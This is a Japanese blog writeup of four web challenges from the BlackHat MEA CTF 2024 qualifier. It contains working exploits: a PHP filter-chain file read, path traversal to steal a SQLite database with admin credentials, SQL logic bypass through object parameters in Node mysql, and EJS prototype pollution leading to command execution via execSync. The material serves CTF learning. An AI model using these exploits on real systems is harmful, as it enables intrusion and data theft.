st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

BlackHat MEA CTF Qualification 2024 writeup

BunkyoWesternsで参加して140位。うーむ。例年通り250チームがサウジアラビアはリヤドで開催される決勝へ行け、また上位10チームには旅費が支給されるということだったけれども、かなりの激戦となっていた。


[Web 110] Free Flag (349 solves)

Free Free

添付ファイル: challenge-files-cfcb9d9b-7f12-440b-9a17-b7f3e2112980.zip

Dockerfile からフラグは /flag.txt に存在しているとわかる。Webサーバ上でPHPコードが動いており、その内容は次の通り。任意のファイルを file_get_contents で読めるけれども、その内容はファイルが <?php もしくは <html から始まっていなければ教えてくれない。flag.txt は当然それらの文字列から始まっていないので、読み取れないように見える。

<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Free Flag</title>
</head>
<body>
    
<?php


function isRateLimited($limitTime = 1) {
    $ipAddress=$_SERVER['REMOTE_ADDR'];
    $filename = sys_get_temp_dir() . "/rate_limit_" . md5($ipAddress);
    $lastRequestTime = @file_get_contents($filename);
    
    if ($lastRequestTime !== false && (time() - $lastRequestTime) < $limitTime) {
        return true;
    }

    file_put_contents($filename, time());
    return false;
}


    if(isset($_POST['file']))
    {
        if(isRateLimited())
        {
            die("Limited 1 req per second");
        }
        $file = $_POST['file'];
        if(substr(file_get_contents($file),0,5) !== "<?php" && substr(file_get_contents($file),0,5) !== "<html") # i will let you only read my source haha
        {
            die("catched");
        }
        else
        {
            echo file_get_contents($file);
        }
    }

?>
</body>
</html>

ならば、強引に <?php<html から始めさせればよい。file_get_contents といえばプロトコル/ラッパーで、これを使えばたとえば php://filter/convert.base64-encode/resource=/flag.txt/flag.txt をBase64エンコードした内容が得られる。これを発展させて、強引に任意の文字列を作り出すことができる。

この記事に登場するスクリプトを少し改造して、/flag.txt の前に <?php をくっつけて出力してくれるようなURLを得る。これを投げると、次のような結果が得られた。

$ curl -d "file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/flag.txt" http://(省略) --output - 2>/dev/null | xxd
00000000: 3c68 746d 6c20 6c61 6e67 3d22 656e 223e  <html lang="en">
00000010: 0a3c 6865 6164 3e0a 2020 2020 3c6d 6574  .<head>.    <met
00000020: 6120 6368 6172 7365 743d 2255 5446 2d38  a charset="UTF-8
00000030: 223e 0a20 2020 203c 6d65 7461 206e 616d  ">.    <meta nam
00000040: 653d 2276 6965 7770 6f72 7422 2063 6f6e  e="viewport" con
00000050: 7465 6e74 3d22 7769 6474 683d 6465 7669  tent="width=devi
00000060: 6365 2d77 6964 7468 2c20 696e 6974 6961  ce-width, initia
00000070: 6c2d 7363 616c 653d 312e 3022 3e0a 2020  l-scale=1.0">.
00000080: 2020 3c74 6974 6c65 3e46 7265 6520 466c    <title>Free Fl
00000090: 6167 3c2f 7469 746c 653e 0a3c 2f68 6561  ag</title>.</hea
000000a0: 643e 0a3c 626f 6479 3e0a 2020 2020 0a3c  d>.<body>.    .<
000000b0: 3f70 6870 06c9 0a50 d092 119b 1859 d65e  ?php...P.....Y.^
000000c0: cd4c 4d18 98d9 4d19 0c0c 98d8 4c98 984e  .LM...M.....L..N
000000d0: 584d d88c 0ccc 4d8c 588d 4d4c 0c58 4c0c  XM....M.X.ML.XL.
000000e0: 5f42 83e0 03d0 03d0 f800 f400 f43e 003d  _B...........>.=
000000f0: 003d 0f80 0f40 0f43 e003 d003 d0f8 00f4  .=...@.C........
00000100: 00f4 3e00 3d00 3d0f 800f 400f 3c2f 626f  ..>.=.=...@.</bo
00000110: 6479 3e0a 3c2f 6874 6d6c 3e0a            dy>.</html>.

次に、どんな文字列が先程のフィルターを通ると、出力されたバイト列ができあがるのかを特定する必要がある。頑張ればいい感じにデコードするスクリプトが書けるのだろうけれども、面倒だったのでブルートフォースで1文字ずつ特定するスクリプトを書いた。

<?php
function compare($a, $b) {
    $l = min(strlen($a), strlen($b));
    $r = 0;
    for ($i = 0; $i < $l; $i++) {
        if ($a[$i] === $b[$i]) $r++;
    }
    return $r;
}

define('TARGET', hex2bin('3c3f70687006c90a50d092119b1859d65ecd8c0d18d94c990d8e19994d8c98d9184c8cd94c4c4c8d4c584ccd0c4e0c19995f4283e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f43e003d003d0f800f400f'));

function conv($s) {
    $r = 'php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=data:,' . $s . '%0a';
    return file_get_contents($r);
}

function go($s) {
    return compare(conv($s), TARGET);
}

$table = '0123456789abcdef{}Y';

$res = 'BHFlag';

while (true) {
    $mi = 0;
    $mc = '';
    echo "[progress]";
    foreach (str_split($table, 1) as $a) {
        echo "$a";
        foreach (str_split($table, 1) as $b) {
            foreach (str_split($table, 1) as $c) {
                $tmp = $res.$a.$b.$c;
                $l = go(str_pad($tmp, 41, 'X'));
                if ($l > $mi) {
                    $mc = $a;
                    $mi = $l;
                }
            }
        }
    }
    $res .= $mc;
    echo "\n" . $res . "\n";
}

これを実行するとフラグが得られた。

$ php solve.php
…
BHFlagY{604ce2d68fe62cda23e11251a34180f
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe0
[progress]0123456789abcdef{}Y
BHFlagY{604ce2d68fe62cda23e11251a34180fe}

なかなか強引な解法だったけれども、ほかのプレイヤーのwriteupを見るとwrapwrapという便利なツールがあったらしい。なるほどなあ。

[Web 120] Watermelon (465 solves)

All love for Watermelons 🍉🍉🍉

Note: The code provided is without jailing, please note that when writing exploits.

添付ファイル: challenge-files-43c405e8-0c8e-4e24-8578-9d5a0945113a.zip

いい感じにログインできるPython製のWebアプリが与えられている。コードがちょっと長いので、少しずつ見ていく。まず重要な箇所として、どのような条件でフラグが得られるかだけれども、これは admin というユーザになればよいらしい。

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'username' not in session or 'user_id' not in session or not session['username']=='admin':
            return jsonify({"Error": "Unauthorized access"}), 401
        return f(*args, **kwargs)
    return decorated_function

# …

@app.get('/admin')
@admin_required
def admin():
    return os.getenv("FLAG","BHFlagY{testing_flag}")

ファイルアップロード機能がある。何やらアップロード時に secure_filename でPath Traversal対策をしようとしているようだけれども、結局アップロードしたファイルを参照する際に使っているパスが file_path とガバガバな方なので、普通にPath Traversalができそう。ただ、proc, self, environ, env といった文字列がパスに含まれると弾かれるので、環境変数を見て直接フラグを得るというのはできなそう。なんとかして、admin の認証情報を得られないか。

@app.route("/upload", methods=["POST"])
@login_required
def upload_file():
    if 'file' not in request.files:
        return jsonify({"Error": "No file part"}), 400
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({"Error": "No selected file"}), 400
    
    user_id = session.get('user_id')
    if file:
        blocked = ["proc", "self", "environ", "env"]
        filename = file.filename

        if filename in blocked:
            return jsonify({"Error":"Why?"})

        user_dir = os.path.join(app.config['UPLOAD_FOLDER'], str(user_id))
        os.makedirs(user_dir, exist_ok=True)
        

        file_path = os.path.join(user_dir, filename)

        file.save(f"{user_dir}/{secure_filename(filename)}")
        

        new_file = File(filename=secure_filename(filename), filepath=file_path, user_id=user_id)
        db.session.add(new_file)
        db.session.commit()
        
        return jsonify({"Message": "File uploaded successfully", "file_path": file_path}), 201

    return jsonify({"Error": "File upload failed"}), 500

@app.route("/file/<int:file_id>", methods=["GET"])
@login_required  
def view_file(file_id):
    user_id = session.get('user_id')
    file = File.query.filter_by(id=file_id, user_id=user_id).first()

    if file is None:
        return jsonify({"Error": "File not found or unauthorized access"}), 404
    
    try:
        return send_file(file.filepath, as_attachment=True)
    except Exception as e:
        return jsonify({"Error": str(e)}), 500

DBは db.db というファイルに保存されているらしい。これだ。

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///db.db' 

/app/instance/db.db を読み出し、そこから admin の認証情報を盗み取ってログインし、フラグを得るスクリプトを用意する。

import uuid
import sqlite3
import httpx

with httpx.Client(base_url='http://(省略)', timeout=60) as client:
    u = str(uuid.uuid4())
    p = str(uuid.uuid4())
    client.post('/register', json={
        'username': u,
        'password': p
    })
    client.post('/login', json={
        'username': u,
        'password': p
    })

    client.post('/upload', files={
        'file': ('../../../../../../app/instance/db.db', b'poyo')
    })
    r = client.get('/files')
    i = r.json()['files'][0]['id']
    r = client.get(f'/file/{i}')
    with open('aaa.db', 'wb') as f:
        f.write(r.content)

    con = sqlite3.connect('aaa.db')
    cur = con.cursor()
    res = cur.execute('SELECT password FROM user WHERE username = "admin"')
    p = res.fetchone()[0]

    client.post('/login', json={
        'username': 'admin',
        'password': p
    })

    r = client.get('/admin')
    print(r.text)

これを実行するとフラグが得られた。

BHFlagY{c24cf993b088e8f5a7ca004e2bd7ef9b}

[Web 180] Notey (254 solves)

I created a note sharing website for everyone to talk to themselves secretly. Don't try to access others notes, grass isn't greener :'( )

添付ファイル: challenge-files-a507f402-dadb-47d0-b7a3-f237107ae418.zip

メモアプリが与えられている。フラグは admin というユーザに結びついたメモとして格納されているらしい。

function insertAdminNoteOnce(callback) {
  const checkNoteQuery = 'SELECT COUNT(*) AS count FROM notes WHERE username = "admin"';
  const insertNoteQuery = 'INSERT INTO notes(username,note,secret)values(?,?,?)';
  const flag = process.env.DYN_FLAG || "placeholder";
  const secret = crypto.randomBytes(32).toString("hex");

  pool.query(checkNoteQuery, [], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }

    const NoteCount = results[0].count;

    if (NoteCount === 0) {
      pool.query(insertNoteQuery, ["admin", flag, secret], (err, results) => {
        if (err) {
          console.error('Error executing query:', err);
          callback(err, null);
          return;
        }
        console.log(`Admin Note inserted successfully with this secret ${secret}`);
        callback(null, results);
      });
    } else {
      console.log('Admin Note already exists. No insertion needed.');
      callback(null, null);
    }
  });
}

メモには秘密のパスワードが設定されており、そのメモのIDとパスワードを手に入れれば、メモの内容を読むことができる。

function getNoteById(noteId, secret, callback) {
  const query = 'SELECT note_id,username,note FROM notes WHERE note_id = ? and secret = ?';
  console.log(noteId,secret);
  pool.query(query, [noteId,secret], (err, results) => {
    if (err) {
      console.error('Error executing query:', err);
      callback(err, null);
      return;
    }
    callback(null, results);
  });
}

JavaScript製のWebアプリだけれども、mysql というライブラリが使われている。

const mysql = require('mysql');
const crypto=require('crypto');


const pool = mysql.createPool({
  host: '127.0.0.1',
  user: 'ctf',
  password: 'redacted',
  database: 'CTF',
  waitForConnections: true,
  connectionLimit: 10,
  queueLimit: 0
});

middlewares.js では、ユーザから与えられたいろいろなパラメータのバリデーションがなされている。一部では文字列かどうかのチェックもされている。

const auth = (req, res, next) => {
    ssn = req.session
    if (ssn.username) {
        return next();
    } else {
        return res.status(401).send('Authentication required.');
    }
};


const login = (req,res,next) =>{
    const {username,password} = req.body;
    if ( !username || ! password )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof username !== "string" || typeof password !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    next();
}

const addNote = (req,res,next) =>{
    const { content, note_secret } = req.body;
    if ( !content || ! note_secret )
    {
        return res.status(400).send("Please fill all fields");
    }
    else if(typeof content !== "string" || typeof note_secret !== "string")
    {
        return res.status(400).send("Wrong data format");
    }
    else if( !(content.length > 0 && content.length < 255) ||  !( note_secret.length >=8 && note_secret.length < 255) )
    {
        return res.status(400).send("Wrong data length");
    }
    next();
}

module.exports ={
    auth, login, addNote
};

しかしながら、/viewNote では note_idnote_secret というパラメータが文字列であるかどうかは確認されていない。もし文字列以外を投げるとどうなるだろうか。

app.get('/viewNote', middleware.auth, (req, res) => {
    const { note_id,note_secret } = req.query;

    if (note_id && note_secret){
        db.getNoteById(note_id, note_secret, (err, notes) => {
            if (err) {
            return res.status(500).json({ error: 'Internal Server Error' });
            }
            return res.json(notes);
        });
    }
    else
    {
        return res.status(400).json({"Error":"Missing required data"});
    }
});

Flatt Securityさんのブログでstyprさんが以前出していたブログ記事を思い出した。オブジェクトが入ってくることで、SQLの構造が変わってしまうらしい。ということで、似たようなことをやるスクリプトを用意する。

import uuid
import httpx
BASE_URL = 'http://(省略)'
with httpx.Client(base_url=BASE_URL, timeout=300) as client:
    u = str(uuid.uuid4())
    p = str(uuid.uuid4())
    print(u, p)

    client.post('/register', data={
        'username': u,
        'password': p
    })
    print('registered')
    client.post('/login', data={
        'username': u,
        'password': p
    })
    print('logged in')

    r = client.get('/viewNote', params={
        'note_id[note_id]': '1',
        'note_secret[secret]': '1'
    })
    print(r.text)

SELECT note_id,username,note FROM notes WHERE note_id = `note_id` = '1' and secret = `secret` = '1'というようなSQLが実行される。これによって、/viewNote ですべてのメモが得られてしまうわけだ。実行するとフラグが得られた。

BHFlagY{e073c92a6f69ad8a5d051fbe1b91b361}

[Web 270] Fastest Delivery Service (171 solves)

No time for description, I had some orders to deliver : D
Note: The code provided is without jailing, please note that when writing exploits.

添付ファイル: challenge-files-69e055b6-d0b7-440a-a580-067ae4592251.zip

シンプルなUIで発送物の管理ができるシステムらしい。Dockerfile からはランダムなファイル名でフラグが保存されており、したがってRCEなりなんなりでこのファイル名を特定し内容を得る必要があるとわかる。

RUN echo "$FLAG" > '/tmp/flag_'$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 32).txt

コードがなんだか長いけれども、かなり怪しい箇所が見つかる。ここでユーザ名を __proto__ に、addressId を汚染したいプロパティの名前にすることで、Prototype Pollutionができそうだ。ユーザ登録はオープンなので __proto__ というユーザ名でも登録できるし、そんなユーザ名でも問題なく機能が利用できる。

app.post('/address', (req, res) => {
    const { user } = req.session;
    const { addressId, Fulladdress } = req.body;

    if (user && users[user.username]) {
        addresses[user.username][addressId] = Fulladdress;
        users[user.username].address = addressId;
        res.redirect('/login');
    } else {
        res.redirect('/register');
    }
});

では、Prototype PollutionからRCEに持ち込めそうなgadgetは存在しているか。コード中に app.set('view engine', 'ejs'); という記述があり、EJSというテンプレートエンジンが使われているとわかる。また、package.json からはバージョンが3.1.9とわかる。

「ejs prototype pollution 3.1.9」みたいなクエリでググると、いい感じのCVEとPoCが見つかった。めちゃくちゃ見覚えある。Prototype PollutionがEJSから起こせるというのならまだしも、gadgetがあるからとCVE番号が採番されるというのは疑問に思われる。

まあいいや。次のようなスクリプトを用意する。

import httpx

with httpx.Client(base_url='http://(省略)', timeout=60) as client:
    client.post('/register', data={
        'username': '__proto__',
        'password': 'hogehoge',
    })
    client.post('/login', data={
        'username': '__proto__',
        'password': 'hogehoge',
    })

    client.post('/address', data={
        'addressId': 'client',
        'Fulladdress': '1'
    })
    client.post('/address', data={
        'addressId': 'escapeFunction',
        'Fulladdress': 'function(){return process.mainModule.require("child_process").execSync("cat /tmp/flag*").toString()}'
    })
    print(client.get('/').text)

実行するとフラグが得られた。

$ python3 s.py 
<!DOCTYPE html>
<html>
<head>
    <title>Food Delivery Service</title>
</head>
<body>
    <h1>Welcome to the Food Delivery Service</h1>

        <p>Hello, BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468}
!</p>
        <a href="/order">Place an Order</a>
        <a href="/logout">Logout</a>

</body>
</html>
BHFlagY{e1fd716f8c3bcb2bae49158fe64bd468}